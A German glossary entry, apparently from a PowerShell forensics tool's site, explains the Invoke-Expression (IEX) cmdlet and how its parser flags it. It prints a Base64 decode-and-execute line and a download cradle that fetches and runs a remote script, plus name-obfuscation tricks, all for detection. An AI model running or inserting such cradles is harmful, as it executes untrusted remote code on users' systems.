Skip to content

Glossar

Invoke-Expression (IEX)

Ein PowerShell-Cmdlet, das eine Zeichenkette als Code ausführt – die Ausführungshälfte der meisten Download-Cradles und Obfuskationsketten.

Invoke-Expression (Alias IEX) ist ein PowerShell-Cmdlet, das eine Zeichenkette als Befehl auswertet und das Ergebnis zurückgibt. Jeder Text, den es erhält – ob eingetippt, aus Base64 dekodiert, aus einem gzip-Stream entpackt oder von einem Webserver heruntergeladen –, wird in der aktuellen Sitzung zu laufendem Code. [scriptblock]::Create($s) gefolgt vom Aufrufoperator erzielt dieselbe Wirkung und ist ein gängiger Ersatz, wenn Angreifer den bekannten Namen vermeiden wollen.

Warum es für Untersuchungen wichtig ist

IEX ist die Ausführungshälfte der meisten bösartigen Einzeiler. Obfuskation verändert nur Text; irgendwann muss dieser Text ausgeführt werden, und IEX ist der kürzeste Weg dorthin. Deshalb steht es am Ende der meisten Download-Cradles und Dekodierungsketten, und deshalb tarnen Angreifer sogar den Namen selbst mit Tricks wie IEX, ('IE'+'X') oder [char]-Codes.

Legitime Einsatzzwecke gibt es, etwa in Build-Skripten, die einen Befehl dynamisch zusammensetzen, doch in der täglichen Administration sind sie selten. IEX, angewendet auf eine gerade heruntergeladene oder dekodierte Zeichenkette, ist ein starkes Triage-Signal, und das Argument, das es erhalten hat, verrät Ihnen, was der Angreifer tatsächlich ausführen wollte.

Beispiel

Zwei gängige Muster, eines führt eine dekodierte Nutzlast aus, das andere eine heruntergeladene:

$s = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($b64)); IEX $s
IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.23/a.ps1')

Der Parser markiert IEX, Invoke-Expression und [scriptblock]::Create als Invoke-Expression-Befund mit mittlerer Schwere. Kommt im selben Text ein Download-Primitiv vor, wie in der zweiten Zeile, werden beide zu einem einzigen Download-Cradle-Befund mit hoher Schwere zusammengefasst. IEX innerhalb eines längeren Wortes, etwa eines Dateinamens, wird nicht erkannt.

Verwandte Begriffe

Erkennen Sie IEX-Ketten in Ihren Beweismitteln mit dem PowerShell Parser, und lesen Sie unter kodierte Befehle und Obfuskation dekodieren, wie der verborgene Name sichtbar gemacht wird.